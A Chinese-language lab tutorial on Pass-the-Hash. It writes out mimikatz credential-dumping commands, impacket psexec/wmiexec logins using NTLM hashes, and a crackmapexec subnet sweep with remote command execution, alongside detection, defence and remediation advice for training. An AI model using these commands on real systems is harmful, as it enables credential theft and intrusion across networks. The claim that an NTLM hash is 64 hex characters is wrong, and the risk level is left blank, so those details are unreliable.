内网横向移动:Pass-the-Hash 实战

在内网靶场实战 Pass-the-Hash:抓取 NTLM 哈希、用哈希直接登录其他主机,完整讲解原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

Pass-the-Hash 是在目标机器上抓取凭据并横向登录。只能在授权内网靶场进行,禁止在非授权环境使用。

一、漏洞原理

Windows 的 NTLM 认证本质上是拿“密码的哈希”做验证,不需要明文密码。攻击者拿到用户的 NTLM 哈希后,就能以该用户身份登录其他机器。

1
2
有哈希 = 可以认证
哈希不一定要先破解成明文

这不是“破解”,而是“直接用哈希当凭据”,所以叫 Pass-the-Hash。

前提条件:

1
2
3
拿到了某账号的 NTLM 哈希
目标机器 445(SMB) 开放
账号对目标有本地管理员或域管权限

二、影响与危害

1
2
3
横向移动:一台机器沦陷 → 全内网批量沦陷
权限提升:普通机器 → 域控
清除痕迹前可能已被广泛利用

风险等级:。管理密码复用越严重,影响面越大——一个管理员哈希可能覆盖内网一半以上 Windows。

三、利用 / 复现

第一步:拿到哈希

在已拿下的机器上抓凭据:

1
2
3
mimikatz
privilege::debug
sekurlsa::logonpasswords

输出里 NTLM : <64位hex> 就是目标哈希。

其他途径:

1
2
3
SAM 文件离线提取
LSASS 内存 dump
域控 NTDS.dit

第二步:用哈希横向登录

Linux 侧 impacket:

1
2
3
4
5
# 有交互 Shell(SMB 服务)
psexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>

# 更隐蔽,走 WMI
wmiexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>

批量找“哪些机器能用这个哈希登录”:

1
crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM哈希>

[+] 标记的机器即成功,可加 -x whoami 远程执行命令。

Windows 侧:

1
2
mimikatz
sekurlsa::pth /user:administrator /domain:xx /ntlm:<NTLM哈希>

结果验证

1
2
登录成功、拿到 Shell
crackmapexec 标记 [+]

四、检测

1
2
3
4
同一账号从多台主机同时登录(来源异常)
LSASS 被读取(mimikatz 特征)
大量 4624/4625 登录事件、异常 NTLM 登录
SMB 横向扫描流量特征

五、防御

1
2
3
4
启用 Credential Guard,隔离 LSASS 凭据
开启 LAPS,避免本地管理员密码复用
限制管理员账号横向使用
账号分离:域管账号不登录普通机器

六、修复

1
2
3
4
5
对已泄露的哈希:立即重置相关账号密码
强制全内网管理员密码轮换
清理 LSASS 中残留明文凭据
补装补丁,修复可提取凭据的漏洞
复测:确认旧哈希不再能登录其他机器

七、小结

PtH 之所以“有哈希就能横着走”,是因为 NTLM 协议本就用哈希做凭据。防御核心是 Credential Guard + LAPS + 账号分离 + 监控异常横向登录。